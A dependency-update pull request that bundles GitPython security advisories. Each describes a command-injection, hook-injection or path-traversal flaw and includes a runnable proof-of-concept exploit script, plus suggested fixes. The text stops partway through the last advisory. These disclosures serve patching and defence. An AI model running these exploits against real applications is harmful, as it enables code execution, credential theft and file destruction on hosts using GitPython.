Update dependency gitpython to v3.1.55 [SECURITY] #15

Open
Renovate wants to merge 1 commit from renovate/pypi-gitpython-vulnerability into main
Member

This PR contains the following updates:

Package Change Age Confidence
gitpython 3.1.463.1.55 age confidence

GitPython has Command Injection via Git options bypass

CVE-2026-42215 / GHSA-rpm5-65cw-6hj4 / PYSEC-2026-2160

More information

Details

Summary

GitPython blocks dangerous Git options such as --upload-pack and --receive-pack by default, but the equivalent Python kwargs upload_pack and receive_pack bypass that check. If an application passes attacker-controlled kwargs into Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push(), this leads to arbitrary command execution even when allow_unsafe_options is left at its default value of False.

Details

GitPython explicitly treats helper-command options as unsafe because they can be used to execute arbitrary commands:

  • git/repo/base.py:145-153 marks clone options such as --upload-pack, -u, --config, and -c as unsafe.
  • git/remote.py:535-548 marks fetch/pull/push options such as --upload-pack, --receive-pack, and --exec as unsafe.

The vulnerable API paths check the raw kwarg names before they're its normalized into command-line flags:

  • Repo.clone_from() checks list(kwargs.keys()) in git/repo/base.py:1387-1390
  • Remote.fetch() checks list(kwargs.keys()) in git/remote.py:1070-1071
  • Remote.pull() checks list(kwargs.keys()) in git/remote.py:1124-1125
  • Remote.push() checks list(kwargs.keys()) in git/remote.py:1197-1198

That validation is performed by Git.check_unsafe_options() in git/cmd.py:948-961. The validator correctly blocks option names such as upload-pack, receive-pack, and exec.

Later, GitPython converts Python kwargs into Git command-line flags in Git.transform_kwarg() at git/cmd.py:1471-1484. During that step, underscore-form kwargs are dashified:

  • upload_pack=... becomes --upload-pack=...
  • receive_pack=... becomes --receive-pack=...

Because the unsafe-option check runs before this normalization, underscore-form kwargs bypass the safety check even though they become the exact dangerous Git flags that the code is supposed to reject.

In practice:

  • remote.fetch(**{"upload-pack": helper}) is blocked with UnsafeOptionError
  • remote.fetch(upload_pack=helper) is allowed and reaches helper execution

The same bypass works for:

Repo.clone_from(origin, out, upload_pack=helper)
repo.remote("origin").fetch(upload_pack=helper)
repo.remote("origin").pull(upload_pack=helper)
repo.remote("origin").push(receive_pack=helper)

This does not appear to affect every unsafe option. For example, exec= is already rejected because the raw kwarg name exec matches the blocked option name before normalization.

Existing tests cover the hyphenated form, not the vulnerable underscore form. For example:

  • test/test_clone.py:129-136 checks {"upload-pack": ...}
  • test/test_remote.py:830-833 checks {"upload-pack": ...}
  • test/test_remote.py:968-975 checks {"receive-pack": ...}

Those tests correctly confirm the literal Git option names are blocked, but they do not exercise the normal Python kwarg spelling that bypasses the guard.

PoC
  1. Create and activate a virtual environment in the repository root:
python3 -m venv .venv-sec
.venv-sec/bin/pip install setuptools gitdb
source ./.venv-sec/bin/activate
  1. make a new python file and put the following in there, then run it:
import os
import stat
import subprocess
import tempfile

from git import Repo
from git.exc import UnsafeOptionError

##### Setup: create isolated repositories so the PoC uses a normal fetch flow.
base = tempfile.mkdtemp(prefix="gp-poc-risk-")
origin = os.path.join(base, "origin.git")
producer = os.path.join(base, "producer")
victim = os.path.join(base, "victim")
proof = os.path.join(base, "proof.txt")
wrapper = os.path.join(base, "wrapper.sh")

##### Setup: this wrapper is just to demo things you can do, not required for the exploit to work

##### you could also do something like an SSH reverse shell, really anything
with open(wrapper, "w") as f:
    f.write(f"""#!/bin/sh
{{
  echo "code_exec=1"
  echo "whoami=$(id)"
  echo "cwd=$(pwd)"
  echo "uname=$(uname -a)"
  printf 'argv='; printf '<%s>' "$@&#8203;"; echo
  env | grep -E '^(HOME|USER|PATH|SSH_AUTH_SOCK|CI|GITHUB_TOKEN|AWS_|AZURE_|GOOGLE_)=' | sed 's/=.*$/=<redacted>/' || true
}} > '{proof}'
exec git-upload-pack "$@&#8203;"
""")
os.chmod(wrapper, stat.S_IRWXU)

subprocess.run(["git", "init", "--bare", origin], check=True, stdout=subprocess.DEVNULL)
subprocess.run(["git", "clone", origin, producer], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)

with open(os.path.join(producer, "README"), "w") as f:
    f.write("x")

subprocess.run(["git", "-C", producer, "add", "README"], check=True, stdout=subprocess.DEVNULL)
subprocess.run(
    ["git", "-C", producer, "-c", "user.name=t", "-c", "user.email=t@t", "commit", "-m", "init"],
    check=True,
    stdout=subprocess.DEVNULL,
)
subprocess.run(["git", "-C", producer, "push", "origin", "HEAD"], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
subprocess.run(["git", "clone", origin, victim], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)

repo = Repo(victim)
remote = repo.remote("origin")

##### the literal Git option name is properly blocked.
try:
    remote.fetch(**{"upload-pack": wrapper})
    print("control=unexpected_success")
except UnsafeOptionError:
    print("control=blocked")

##### this is the actual vulnerability

##### you can also just do upload_pack="touch /tmp/proof", the wrapper is just to show greater impact
##### if you do the "touch /tmp/proof" the script will crash, but the file will have been created
remote.fetch(upload_pack=wrapper)

##### Proof: the helper ran as the GitPython host process.
print("proof_exists", os.path.exists(proof), proof)
print(open(proof).read())
  1. Expected result:
  • The script prints control=blocked
  • The script prints proof_exists True ...
  • The proof file contains evidence that the attacker-controlled helper executed as the local application account, including id, working directory, argv, and selected environment variable names

Example output:

GitPython % python3 test.py
control=blocked
proof_exists True /var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/proof.txt
code_exec=1
whoami=uid=501(wes) gid=20(staff) <redacted>
cwd=/private/var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/victim
uname=Darwin  <redacted> Darwin Kernel Version  <redacted>; root:xnu-11417. <redacted>
argv=</var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/origin.git>
USER=<redacted>
SSH_AUTH_SOCK=<redacted>
PATH=<redacted>
HOME=<redacted>

This PoC does not require a malicious repository. The PoC uses that fresh blank repository. The only attacker-controlled input is the kwarg that GitPython turns into --upload-pack.

Impact

Who is impacted:

  • Web applications that let users configure repository import, sync, mirroring, fetch, pull, or push behavior
  • Systems that accept a user-provided dict of "extra Git options" and pass it into GitPython with **kwargs
  • CI/CD systems, workers, automation bots, or internal tools that build GitPython calls from untrusted integration settings or job definitions (yaml, json, etc configs )

What the attacker needs to control:

  • A value that becomes upload_pack or receive_pack in the kwargs passed to Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push()

From a severity perspective, this could lead to

  • Theft of SSH keys, deploy credentials, API tokens, or cloud credentials available to the process
  • Modification of repositories, build outputs, or release artifacts
  • Lateral movement from CI/CD workers or automation hosts
  • Full compromise of the worker or service process handling repository operations

The highest-risk environments are network-reachable services and automation systems that expose these GitPython kwargs across a trust boundary while relying on the default unsafe-option guard for protection.

Severity

  • CVSS Score: 8.8 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


GitPython: Unsafe option check validates multi_options before shlex.split transformation

CVE-2026-42284 / GHSA-x2qx-6953-8485 / PYSEC-2026-2161

More information

Details

Summary

_clone() validates multi_options as the original list, then executes shlex.split(" ".join(multi_options)). A string like "--branch main --config core.hooksPath=/x" passes validation (starts with --branch), but after split becomes ["--branch", "main", "--config", "core.hooksPath=/x"]. Git applies the config and executes attacker hooks during clone.

Details

The vulnerable code is in git/repo/base.py line 1383:

multi = shlex.split(" ".join(multi_options))

Then validation runs on the original list at line 1390:

Git.check_unsafe_options(options=multi_options, unsafe_options=cls.unsafe_git_clone_options)

Then execution uses the transformed result at line 1392:

proc = git.clone(multi, "--", url, path, ...)

The check at git/cmd.py line 959 uses startswith:

if option.startswith(unsafe_option) or option == bare_option:

"--branch main --config ..." does not start with "--config", so it passes. After shlex.split, "--config" becomes its own token and reaches git.

Also affects Submodule.update() via clone_multi_options.

PoC
import sys, pathlib, subprocess
sys.path.insert(0, str(pathlib.Path(__file__).resolve().parent))

from git import Repo
from git.exc import UnsafeOptionError

try:
    Repo.clone_from("/nonexistent", "/tmp/x", multi_options=["--config", "core.hooksPath=/x"])
except UnsafeOptionError:
    print("multi_options=['--config', '...']: Block as expected")
except Exception:
    pass

DIR = pathlib.Path(__file__).resolve().parent / "workdir_b"
SRC = DIR / "repo"
DST = DIR / "dst"
HOOKS = DIR / "hooks"
LOG = DIR / "output.log"

if not SRC.exists():
    SRC.mkdir(parents=True)
    r = lambda *a: subprocess.run(a, cwd=SRC, capture_output=True)
    r("git", "init", "-b", "main")
    (SRC / "f").write_text("x\n")
    r("git", "add", ".")
    r("git", "commit", "-m", "init")

HOOKS.mkdir(exist_ok=True)
hook = HOOKS / "post-checkout"
hook.write_text(f"#!/bin/sh\nwhoami > {LOG.as_posix()}\nhostname >> {LOG.as_posix()}\n")
hook.chmod(0o755)

LOG.unlink(missing_ok=True)
payload = "--branch main --config core.hooksPath=" + HOOKS.as_posix()

try:
    Repo.clone_from(str(SRC), str(DST), multi_options=[payload])
except UnsafeOptionError:
    print(f"multi_options=['{payload}']: BLOCKED"); sys.exit(1)
except Exception:
    pass

if not LOG.exists() and DST.exists():
    subprocess.run(["git", "checkout", "--force", "main"], cwd=DST, capture_output=True)

print(f"multi_options=['{payload}']: not blocked")
print(f"\nHook executed: {LOG.exists()}")
if LOG.exists():
    print(LOG.read_text().strip())

Output:

multi_options=['--config', '...']: Block as expected
multi_options=['--branch main --config core.hooksPath=.../hooks']: not blocked

Hook executed: True
texugo
DESKTOP-5w5HH79
Impact

Any application passing user input to multi_options in clone_from(), clone(), or Submodule.update() is vulnerable. Attacker embeds --config core.hooksPath=<dir> inside a string starting with a safe option. Check does not block it. Git executes attacker code. Same class as CVE-2023-40267.

Severity

  • CVSS Score: 8.1 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


CVE-2026-42215 / GHSA-rpm5-65cw-6hj4 / PYSEC-2026-2160

More information

Details

GitPython is a python library used to interact with Git repositories. From version 3.1.30 to before version 3.1.47, GitPython blocks dangerous Git options such as --upload-pack and --receive-pack by default, but the equivalent Python kwargs upload_pack and receive_pack bypass that check. If an application passes attacker-controlled kwargs into Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push(), this leads to arbitrary command execution even when allow_unsafe_options is left at its default value of False. This issue has been patched in version 3.1.47.

Severity

  • CVSS Score: 8.8 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


CVE-2026-42284 / GHSA-x2qx-6953-8485 / PYSEC-2026-2161

More information

Details

GitPython is a python library used to interact with Git repositories. Prior to version 3.1.47, _clone() validates multi_options as the original list, then executes shlex.split(" ".join(multi_options)). A string like "--branch main --config core.hooksPath=/x" passes validation (starts with --branch), but after split becomes ["--branch", "main", "--config", "core.hooksPath=/x"]. Git applies the config and executes attacker hooks during clone. This issue has been patched in version 3.1.47.

Severity

  • CVSS Score: 9.8 / 10 (Critical)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


GitPython reference APIs has a path traversal vulnerability that allows arbitrary file write and delete outside the repository

CVE-2026-44243 / GHSA-7545-fcxq-7j24 / PYSEC-2026-2162

More information

Details

🧾 Summary

A vulnerability in GitPython allows attackers who can supply a crafted reference path to an application using GitPython to write, overwrite, move, or delete files outside the repository’s .git directory via insufficient validation of reference paths in reference creation, rename, and delete operations.


📦 Affected Versions
  • Affected: <= 3.1.46 and current main (3.1.47 in local checkout)

🧠 Details
Vulnerability Type

Path Traversal leading to Arbitrary File Write and Arbitrary File Deletion


Root Cause

Reference paths are validated when they are resolved for reading, but are not consistently validated before filesystem write, rename, and delete operations.

SymbolicReference._check_ref_name_valid() rejects traversal sequences such as .., but SymbolicReference.create, Reference.create, SymbolicReference.set_reference, SymbolicReference.rename, and SymbolicReference.delete still construct filesystem paths from attacker-controlled ref names without enforcing repository boundaries.


Affected Code
def set_reference(self, ref, logmsg=None):
    ...
    fpath = self.abspath
    assure_directory_exists(fpath, is_file=True)

    lfd = LockedFD(fpath)
    fd = lfd.open(write=True, stream=True)
    ...
@&#8203;classmethod
def delete(cls, repo, path):
    full_ref_path = cls.to_full_path(path)
    abs_path = os.path.join(repo.common_dir, full_ref_path)
    if os.path.exists(abs_path):
        os.remove(abs_path)
def rename(self, new_path, force=False):
    new_path = self.to_full_path(new_path)
    new_abs_path = os.path.join(_git_dir(self.repo, new_path), new_path)
    cur_abs_path = os.path.join(_git_dir(self.repo, self.path), self.path)
    ...
    os.rename(cur_abs_path, new_abs_path)

Attack Vector

Local attack through application-controlled input passed into GitPython reference APIs

Authentication Required

None at the library boundary. In practice, exploitation requires the ability to influence ref names supplied by the consuming application.


🧪 Proof of Concept
Setup
pip install GitPython==3.1.46
python poc.py

Exploit
import shutil
from pathlib import Path

from git import Repo
from git.refs.reference import Reference
from git.refs.symbolic import SymbolicReference

base = Path("gp-ghsa-poc").resolve()
if base.exists():
    shutil.rmtree(base)

repo_dir = base / "repo"
repo = Repo.init(repo_dir)

(repo_dir / "a.txt").write_text("init\n", encoding="utf-8")
repo.index.add(["a.txt"])
repo.index.commit("init")

outside_write = base / "outside_write.txt"
outside_delete = base / "outside_delete.txt"
outside_delete.write_text("DELETE ME\n", encoding="utf-8")

print(f"repo_dir       = {repo_dir}")
print(f"outside_write  = {outside_write}")
print(f"outside_delete = {outside_delete}")

Reference.create(repo, "../../../outside_write.txt", "HEAD")

print("\n[+] outside_write exists:", outside_write.exists())
if outside_write.exists():
    print("[+] outside_write content:")
    print(outside_write.read_text(encoding="utf-8"))

SymbolicReference.delete(repo, "../../../outside_delete.txt")

print("\n[+] outside_delete exists after delete:", outside_delete.exists())

Result
repo_dir       = ...\gp-ghsa-poc\repo
outside_write  = ...\gp-ghsa-poc\outside_write.txt
outside_delete = ...\gp-ghsa-poc\outside_delete.txt

[+] outside_write exists: True
[+] outside_write content:
<current HEAD commit SHA>

[+] outside_delete exists after delete: False

💥 Impact
What can an attacker do?
  • Create or overwrite files outside the repository metadata directory
  • Delete attacker-chosen files reachable from the process permissions
  • Corrupt application state or configuration files
  • Cause denial of service by deleting or overwriting important files

Security Impact
  • Confidentiality: Low
  • Integrity: High
  • Availability: High

Who is affected?
  • Applications that expose GitPython reference operations to user-controlled input
  • Git automation services, repository management backends, CI/CD helpers, and developer platforms
  • Multi-user environments where one user can influence ref names processed on behalf of another workflow

🛠️ Mitigation / Fix
def _validate_ref_write_path(repo, path, *, for_git_dir=False):
    SymbolicReference._check_ref_name_valid(path)

    base = Path(repo.git_dir if for_git_dir else repo.common_dir).resolve()
    target = (base / path).resolve()

    if base not in [target, *target.parents]:
        raise ValueError(f"Reference path escapes repository boundary: {path}")

    return str(target)
full_ref_path = cls.to_full_path(path)
_validate_ref_write_path(repo, full_ref_path)

Severity

  • CVSS Score: 7.8 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


CVE-2026-44243 / GHSA-7545-fcxq-7j24 / PYSEC-2026-2162

More information

Details

GitPython is a python library used to interact with Git repositories. Prior to version 3.1.48, a vulnerability in GitPython allows attackers who can supply a crafted reference path to an application using GitPython to write, overwrite, move, or delete files outside the repository’s .git directory via insufficient validation of reference paths in reference creation, rename, and delete operations. This issue has been patched in version 3.1.48.

Severity

  • CVSS Score: 7.1 / 10 (High)
  • Vector String: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


GitPython: Newline injection in config_writer().set_value() enables RCE via core.hooksPath

CVE-2026-44244 / GHSA-v87r-6q3f-2j67 / PYSEC-2026-2163

More information

Details

GitConfigParser.set_value() passes values to Python's configparser without validating for newlines. GitPython's own _write() converts embedded newlines into indented continuation lines (e.g. \n becomes \n\t), but Git still accepts an indented [core] stanza as a section header — so the injected core.hooksPath becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path.

The vulnerability is not merely malformed config output: GitPython's own writer converts embedded newlines into indented continuation lines, but Git still accepts an indented [core] stanza as a section header, so the injected core.hooksPath becomes effective configuration.

This was found while auditing MLRun's project.push() method, which passes author_name and author_email directly to config_writer().set_value() with no sanitization. Both parameters cross a trust boundary — they are caller-supplied API inputs that end up in .git/config.

PoC (standalone, no MLRun required):

import git, subprocess, os

repo = git.Repo("/tmp/testrepo")

with repo.config_writer() as cw:
    cw.set_value("user", "name", "foo\n[core]\nhooksPath=/tmp/hooks")

r = subprocess.run(["git", "config", "core.hooksPath"], cwd="/tmp/testrepo", capture_output=True, text=True)
assert r.returncode == 0
print(r.stdout.strip())  # /tmp/hooks

os.makedirs("/tmp/hooks", exist_ok=True)
open("/tmp/hooks/pre-commit", "w").write("#!/bin/sh\nid > /tmp/pwned\n")
os.chmod("/tmp/hooks/pre-commit", 0o755)

repo.index.add(["README"])
repo.git.commit(m="test")
print(open("/tmp/pwned").read())  # uid=...

Tested on GitPython 3.1.46, git 2.39+.

Impact: This is persistent repo config poisoning. Any user who can supply author_name or author_email to an application calling config_writer().set_value() can redirect Git hook execution to an arbitrary path. In a multi-user or hosted environment (e.g. a shared MLRun server where multiple users push to the same repositories), one user can poison the .git/config of a shared repo and have their hooks run in the context of every subsequent Git operation by any user. On single-user deployments, the impact depends on whether the application later invokes Git hooks automatically.

Remediation: set_value() should raise on CR, LF, or NUL in values rather than silently pass them through:

import re

if isinstance(value, (str, bytes)) and re.search(r"[\r\n\x00]", str(value)):
    raise ValueError("Git config values must not contain CR, LF, or NUL")

Rejecting is safer than stripping — a stripped newline might indicate the caller is passing unsanitized input at a higher level, and silent normalization masks that.

Affected wherever config_writer().set_value(section, key, user_input) is called with external input.** GitPython is a dependency of DVC, MLflow, Kedro, and others — worth auditing their set_value() call sites for externally influenced inputs.

Severity

  • CVSS Score: 7.8 / 10 (High)
  • Vector String: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


CVE-2026-44244 / GHSA-v87r-6q3f-2j67 / PYSEC-2026-2163

More information

Details

GitPython is a python library used to interact with Git repositories. Prior to version 3.1.49, GitConfigParser.set_value() passes values to Python's configparser without validating for newlines. GitPython's own _write() converts embedded newlines into indented continuation lines (e.g. \n becomes \n\t), but Git still accepts an indented [core] stanza as a section header — so the injected core.hooksPath becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path. This issue has been patched in version 3.1.49.

Severity

  • CVSS Score: 7.8 / 10 (High)
  • Vector String: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).


GitPython: Newline injection in config_writer() section parameter bypasses CVE-2026-42215 patch, enabling RCE via core.hooksPath

GHSA-mv93-w799-cj2w

More information

Details

Summary

The patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.

Details

File: git/config.py — GitPython 3.1.49 (latest patched version)

  def set_value(self, section: str, option: str, value) -> "GitConfigParser":
      value_str = self._value_to_string_safe(value)   # only value is validated
      if not self.has_section(section):
          self.add_section(section)                    # section not validated
      super().set(section, option, value_str)          # option not validated
      return self

_write() formats section headers as "[%s]\n" % name. When section = "user]\n[core", this writes [user]\n[core]\n — two valid section headers — into .git/config.

PoC

  import git, os, subprocess

  repo = git.Repo.init("/tmp/bypass_test")

  os.makedirs("/tmp/evil_hooks", exist_ok=True)
  with open("/tmp/evil_hooks/pre-commit", "w") as f:
      f.write("#!/bin/sh\nid > /tmp/rce_proof.txt\n")
  os.chmod("/tmp/evil_hooks/pre-commit", 0o755)

  # Inject newline into section parameter (not value — already patched)
  with repo.config_writer() as cw:
      cw.set_value("user]\n[core", "hooksPath", "/tmp/evil_hooks")

  r = subprocess.run(["git", "-C", "/tmp/bypass_test", "config", "core.hooksPath"],
                     capture_output=True, text=True)
  print(r.stdout.strip())  # → /tmp/evil_hooks

  subprocess.run(["git", "-C", "/tmp/bypass_test", "commit", "--allow-empty", "-m", "x"])
  print(open("/tmp/rce_proof.txt").read())  # → uid=1000(...) RCE confirmed

Impact

Same attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete — only value is validated while section and option remain injectable.

Severity

  • CVSS Score: 7.0 / 10 (High)
  • Vector String: CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


GitPython: Command Injection via git long-option prefix abbreviation bypass of CVE-2026-42215 blocklist

GHSA-2f96-g7mh-g2hx

More information

Details

Command injection via long-option prefix abbreviation bypassing check_unsafe_options (incomplete fix of CVE-2026-42215 / GHSA-rpm5-65cw-6hj4)

Component: gitpython-developers/GitPython (PyPI: GitPython)
Affected: all versions carrying the 3.1.47 blocklist fix, through current main (verified at commit 20c5e275, 3.1.50-42)
CWE: CWE-184 (Incomplete List of Disallowed Inputs) → CWE-78 (OS Command Injection)
Severity: inherits the parent CVE-2026-42215 surface; estimated High, ~8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) — final scoring deferred to maintainer/CNA, mirroring the parent.
Reporter: hackkim

Summary

The 3.1.47 fix for CVE-2026-42215 blocks dangerous git options (--upload-pack, --config, -c, -u for clone; --upload-pack for fetch/pull; --receive-pack, --exec for push) so callers cannot reach command-executing options unless they pass allow_unsafe_options=True.

The fix canonicalizes an option name along one axis (underscore→hyphen via dashify) and checks it against an exact-match dict. It does not account for git's unambiguous long-option prefix abbreviation. Git accepts any unambiguous prefix of a long option (--upload-p, --upload-pa, --upload-pac all resolve to --upload-pack). So a kwarg key like upload_p canonicalizes to upload-p, misses the blocklist dict, and is emitted to git as --upload-p=<value> → executed as --upload-pack=<value> → command injection, in the default allow_unsafe_options=False configuration.

The asymmetry (root cause)

##### git/cmd.py (commit 20c5e275), lines 948-974
@&#8203;classmethod
def _canonicalize_option_name(cls, option):
    option_name = option.lstrip("-").split("=", 1)[0]
    option_tokens = option_name.split(None, 1)
    if not option_tokens:
        return ""
    return dashify(option_tokens[0])      # only transform: "_" -> "-"

@&#8203;classmethod
def check_unsafe_options(cls, options, unsafe_options):
    canonical_unsafe_options = {cls._canonicalize_option_name(o): o for o in unsafe_options}
    for option in options:
        unsafe_option = canonical_unsafe_options.get(cls._canonicalize_option_name(option))
        if unsafe_option is not None:
            raise UnsafeOptionError(...)

The guard normalizes only _- and does exact dict membership. Git's CLI parser accepts a broader grammar (prefix abbreviation) than the guard models, so abbreviated keys slip through and reach git as the blocked option.

Affected code (commit 20c5e275)
Location Role
git/cmd.py:948-960 _canonicalize_option_name canonicalizer — no prefix expansion
git/cmd.py:963-974 check_unsafe_options exact-match dict lookup (the incomplete guard)
git/cmd.py:1511 transform_kwarg emits --<dashify(name)>=<value> to the CLI
git/repo/base.py:1411,1413 clone call sites
git/remote.py:1074,1128,1201 fetch / pull / push call sites
Bypass keys (verified)
kwarg key git resolves to path weaponizable
upload_p, upload_pac --upload-pack clone / fetch / pull Yes — direct RCE
receive_p --receive-pack push Yes — direct RCE
exe --exec push Yes — direct RCE
conf, confi --config clone bypasses option blocklist; RCE needs an additional config vector (see note)
Minimal PoC

Self-contained, no network egress (a local bare repo acts as the "remote"). Tested on current main (git 2.50.1):

import os, stat, tempfile
from git import Repo

work = tempfile.mkdtemp()
marker = os.path.join(work, "RCE_MARKER")

##### fake "upload-pack" program that proves arbitrary command execution
prog = os.path.join(work, "evil.sh")
with open(prog, "w") as f:
    f.write(f"#!/bin/sh\ntouch {marker}\nexit 1\n")  # exit 1 so git aborts after our code ran
os.chmod(prog, os.stat(prog).st_mode | stat.S_IEXEC)

bare = os.path.join(work, "remote.git")
Repo.init(bare, bare=True)

##### attacker-controlled kwarg KEY 'upload_p' -> --upload-p=<prog> -> git runs <prog>
try:
    Repo.clone_from(bare, os.path.join(work, "out"), upload_p=prog)
except Exception:
    pass  # git aborts with GitCommandError AFTER the payload executed

print("RCE marker created:", os.path.exists(marker))  # True -> command injection confirmed

Equivalent at the shell: git clone --upload-p=/tmp/evil.sh src out runs evil.sh.

Confirmed behavior:

  • upload_pack (exact) → blocked; upload_p (abbrev) → passes guard, reaches git, executes. The fix works for the form it models but not the abbreviated form.
  • allow_unsafe_options=True opt-out behaves as documented (out of scope).
Honest scope note

Like the parent CVE, exploitation requires a host application that flows attacker-controlled kwarg keys into a GitPython clone/fetch/pull/push. Where the host passes only fixed/validated keys, this is not reachable — the vulnerability is in the library's documented defense-in-depth control (allow_unsafe_options=False), which this variant defeats.

On the --config family: conf bypasses the option blocklist, but weaponizing --config protocol.ext.allow=always via an ext:: URL is independently blocked by GitPython's protocol allowlist (allow_unsafe_protocols=False). The directly weaponizable family is upload-pack / receive-pack / exec. Reported transparently — not claiming Critical.

Suggested remediation (any one)
  1. Prefix-aware matching: reject any option whose canonical name is an unambiguous prefix of a blocked option (≈ startswith on the blocked canonical name, after dashify).
  2. Disable abbreviation at the sink: pass --end-of-options or invoke git in a way that disables long-option abbreviation.
  3. Allowlist option names on security-sensitive subcommands instead of a blocklist.

Remediation should also cover the -c/--config family abbreviations, even though the ext:: route is currently gated by the protocol allowlist.

Severity

  • CVSS Score: 8.8 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


GitPython: command injection via unguarded Git options in Repo.archive(), git.ls_remote(), and arbitrary file overwrite via Repo.iter_commits() / Repo.blame()

GHSA-956x-8gvw-wg5v

More information

Details

Summary

GitPython spawns the real git binary with an argument vector built from caller-supplied values. To prevent argument injection, GitPython maintains denylists of "unsafe" Git options (--upload-pack, --receive-pack, --exec, -c, --config, …) that can be abused to run arbitrary commands, and enforces them with Git.check_unsafe_options().

That enforcement is only wired into the network commands — clone_from, Remote.fetch, Remote.pull, Remote.push. Several other public APIs that also forward caller-controlled values into the git argv have no guard at all:

  1. Repo.archive(ostream, treeish=None, prefix=None, **kwargs) forwards **kwargs verbatim into git archive. An attacker-influenced options mapping such as {"remote": ".", "exec": "<cmd>"} becomes git archive --remote=. --exec=<cmd> -- <treeish>, and git archive --remote=<local repo> invokes git-upload-archive whose path is overridden by --execarbitrary command execution under default Git configuration (no protocol.ext.allow needed).

  2. repo.git.ls_remote(<url>, upload_pack="<cmd>") (and the dynamic-command builder generally) turns the upload_pack kwarg into --upload-pack=<cmd> with no guard → arbitrary command execution.

  3. Repo.iter_commits(rev) and Repo.blame(rev, file) place the caller's rev value into the argv before the -- end-of-options separator and apply no leading-dash check. A benign-looking ref value such as --output=/path/to/file is parsed by git rev-list / git blame as the --output option, which opens and truncates an arbitrary file before Git even validates the revision → arbitrary file clobber (integrity/availability; can destroy keys, configs, lockfiles, or be aimed at files the host later sources).

The first two are direct code execution; the third is an arbitrary file-overwrite primitive. All share one root cause: the check_unsafe_options / end-of-options discipline that GitPython applies to clone/fetch/pull/push was never extended to these sinks.

Details

GitPython explicitly recognises these options as command-execution vectors. git/remote.py:535:

unsafe_git_fetch_options = [
    # Arbitrary command execution.
    "--upload-pack",
    "--receive-pack",
    # Arbitrary file overwrite.
    "--exec",
]

and enforces them via Git.check_unsafe_options() (git/cmd.py:963):

def check_unsafe_options(cls, options, unsafe_options):
    ...
    if unsafe_option is not None:
        raise UnsafeOptionError(f"{unsafe_option} is not allowed, use `allow_unsafe_options=True` to allow it.")

But check_unsafe_options is invoked from only five sites, all network commands:

git/remote.py:1071   Remote.fetch
git/remote.py:1125   Remote.pull
git/remote.py:1198   Remote.push
git/repo/base.py:1410 / :1412  Repo.clone_from

The following sinks call git with caller-controlled options/positionals and are not guarded:

1. Repo.archive — command execution (git/repo/base.py:1623)
def archive(self, ostream, treeish=None, prefix=None, **kwargs):
    ...
    self.git.archive("--", treeish, *path, **kwargs)
    return self

treeish and path are correctly placed after --, but **kwargs are converted by Git.transform_kwarg (git/cmd.py:1487) into --<name>=<value> flags and inserted before the -- by _call_process, with no check_unsafe_options. Repo.archive already documents user-facing kwargs (format, prefix, path), so forwarding a caller options mapping is an expected usage. Final argv:

git archive --remote=. --exec=<cmd> -- <treeish>

git archive --remote=<repo> runs the upload-archive helper; --exec=<cmd> overrides the helper path, executing <cmd> on the host. This works with default Git config — it does not rely on the ext:: transport (which is blocked by default).

2. repo.git.ls_remote(..., upload_pack=...) — command execution (dynamic builder, git/cmd.py:1487)

transform_kwarg dashifies upload_pack--upload-pack=<value>. git ls-remote <local-repo> --upload-pack=<cmd> executes <cmd>. The dynamic builder makes both the flag name and value caller-controlled (repo.git.<anything>(**user_dict)), and ls_remote has no check_unsafe_options.

This is exactly the underscore-kwarg-vs-hyphen-kwarg gap that CVE-2026-42215 fixed for fetch/pull/push/clone_from — but ls_remote and the rest of the dynamic surface were left unpatched.

3. Repo.iter_commits / Repo.blame — arbitrary file overwrite (git/objects/commit.py:348, git/repo/base.py:1199)

##### Commit.iter_items (reached via Repo.iter_commits)
